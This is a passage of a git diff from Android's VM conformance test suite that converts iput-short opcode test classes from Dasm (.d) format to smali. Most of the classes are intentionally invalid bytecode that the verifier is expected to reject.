+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_2;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v0, 1
+       iput-short v0, v2, Ldot/junit/opcodes/iput_short/d/T_iput_short_4;->st_i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_20.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_20.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_20.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_20.smali
new file mode 100644
index 0000000..943efa6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_20.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iput_short/d/T_iput_short_20;
+.super Ljava/lang/Object;
+.source "T_iput_short_20.java"
+
+
+# instance fields
+.field public st_o:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 4
+
+    iput-short p0, p0, Ldot/junit/opcodes/iput_short/d/T_iput_short_20;->st_o:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_21.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_21.d
deleted file mode 100644
index 7b80f03..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_21.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_short_21.java
-.class public dot.junit.opcodes.iput_short.d.T_iput_short_21
-.super java/lang/Object
-
-.field public  st_c C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 12    
-       iput-short v0, v3, dot.junit.opcodes.iput_short.d.T_iput_short_21.st_c C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_21.smali
new file mode 100644
index 0000000..36d67d1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_21.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_21.java"
+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_21;
+.super  Ljava/lang/Object;
+
+.field public  st_c:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 12    
+       iput-short v0, v3, Ldot/junit/opcodes/iput_short/d/T_iput_short_21;->st_c:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_22.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_22.d
deleted file mode 100644
index 4f969d5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_22.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_short_22.java
-.class public dot.junit.opcodes.iput_short.d.T_iput_short_22
-.super java/lang/Object
-
-.field public  st_i I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 1    
-       iput-short v0, v3, dot.junit.opcodes.iput_short.d.T_iput_short_22.st_i I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_22.smali
new file mode 100644
index 0000000..36f8d59
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_22.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_22.java"
+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_22;
+.super  Ljava/lang/Object;
+
+.field public  st_i:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       iput-short v0, v3, Ldot/junit/opcodes/iput_short/d/T_iput_short_22;->st_i:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_23.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_23.d
deleted file mode 100644
index 6f2cdc1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_23.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_short_23.java
-.class public dot.junit.opcodes.iput_short.d.T_iput_short_23
-.super java/lang/Object
-
-.field public st_b B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 1    
-       iput-short v0, v3, dot.junit.opcodes.iput_short.d.T_iput_short_23.st_b B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_23.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_23.smali
new file mode 100644
index 0000000..1e4e6df
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_23.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_23.java"
+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_23;
+.super  Ljava/lang/Object;
+
+.field public st_b:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       iput-short v0, v3, Ldot/junit/opcodes/iput_short/d/T_iput_short_23;->st_b:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_24.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_24.d
deleted file mode 100644
index 326cd78..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_24.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_short_24.java
-.class public dot.junit.opcodes.iput_short.d.T_iput_short_24
-.super java/lang/Object
-
-.field public  st_z Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 1    
-       iput-short v0, v3, dot.junit.opcodes.iput_short.d.T_iput_short_24.st_z Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_24.smali
new file mode 100644
index 0000000..ca18705
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_24.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_24.java"
+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_24;
+.super  Ljava/lang/Object;
+
+.field public  st_z:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       iput-short v0, v3, Ldot/junit/opcodes/iput_short/d/T_iput_short_24;->st_z:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_3.d
deleted file mode 100644
index 0a091e4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_3.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_short_3.java
-.class public dot.junit.opcodes.iput_short.d.T_iput_short_3
-.super java/lang/Object
-
-.field public  st_i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v0, 1
-       iput-short v0, v2, dot.junit.opcodes.iput_short.d.T_iput_short_3.st_i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_3.smali
new file mode 100644
index 0000000..c740adb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_3.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_3.java"
+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_3;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 1
+       iput-short v0, v2, Ldot/junit/opcodes/iput_short/d/T_iput_short_3;->st_i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_30.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_30.d
deleted file mode 100644
index 51d2ea8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_30.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_short_30.java
-.class public dot.junit.opcodes.iput_short.d.T_iput_short_30
-.super java/lang/Object
-
-.field public  st_i1 S
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-    new-instance v0, dot/junit/opcodes/iput_short/d/T_iput_short_30
-    const v1, 0
-    iput-short v1, v0, dot.junit.opcodes.iput_short.d.T_iput_short_30.st_i1 S
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_30.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_30.smali
new file mode 100644
index 0000000..4737df5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_30.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_30.java"
+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_30;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+    new-instance v0, Ldot/junit/opcodes/iput_short/d/T_iput_short_30;
+    const v1, 0
+    iput-short v1, v0, Ldot/junit/opcodes/iput_short/d/T_iput_short_30;->st_i1:S
+.end method
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_31.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_31.d
deleted file mode 100644
index 790c99e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_31.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2014 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_short_31.java
-.class public dot.junit.opcodes.iput_short.d.T_iput_short_31
-.super java/lang/Object
-
-.field public  st_i1 S
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-    const v1, 0
-    iput-short v1, v0, dot.junit.opcodes.iput_short.d.T_iput_short_31.st_i1 S
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_31.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_31.smali
new file mode 100644
index 0000000..4a461dfb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_31.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_31.java"
+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_31;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+    const v1, 0
+    iput-short v1, v0, Ldot/junit/opcodes/iput_short/d/T_iput_short_31;->st_i1:S
+.end method
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_4.d
deleted file mode 100644
index f201a30..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_short_4.java
-.class public dot.junit.opcodes.iput_short.d.T_iput_short_4
-.super java/lang/Object
-
-.field public  st_i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iput-short v3, v2, dot.junit.opcodes.iput_short.d.T_iput_short_4.st_i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_4.smali
new file mode 100644
index 0000000..a959f4b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_4.java"
+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_4;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iput-short v3, v2, Ldot/junit/opcodes/iput_short/d/T_iput_short_4;->st_i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_7.d
deleted file mode 100644
index b395108..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_7.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_short_7.java
-.class public dot.junit.opcodes.iput_short.d.T_iput_short_7
-.super java/lang/Object
-
-.field public static st_i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 0
-       iput-short v1, v2, dot.junit.opcodes.iput_short.d.T_iput_short_7.st_i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_7.smali
new file mode 100644
index 0000000..b865442
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_7.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_7.java"
+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_7;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       iput-short v1, v2, Ldot/junit/opcodes/iput_short/d/T_iput_short_7;->st_i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_8.d
deleted file mode 100644
index 05b5100..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_8.d
+++ /dev/null
@@ -1,38 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_short_8.java
-.class public dot.junit.opcodes.iput_short.d.T_iput_short_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       new-instance v0, Ldot/junit/opcodes/iput_short/TestStubs;
-       invoke-direct {v0}, dot/junit/opcodes/iput_short/TestStubs/<init>()V
-
-       const v1, 0
-       iput-short v1, v0, dot.junit.opcodes.iput_short.TestStubs.TestStubField S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_8.smali
new file mode 100644
index 0000000..bd4f389
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_8.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_8.java"
+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iput_short/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_short/TestStubs;-><init>()V
+
+       const v1, 0
+       iput-short v1, v0, Ldot/junit/opcodes/iput_short/TestStubs;->TestStubField:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_9.d
deleted file mode 100644
index 1a1555e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_9.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_short_9.java
-.class public dot.junit.opcodes.iput_short.d.T_iput_short_9
-.super java/lang/Object
-
-.field public st_i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 0
-       iput-short v1, v2, dot.junit.opcodes.iput_short.d.T_iput_short_9noclass.st_i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_9.smali
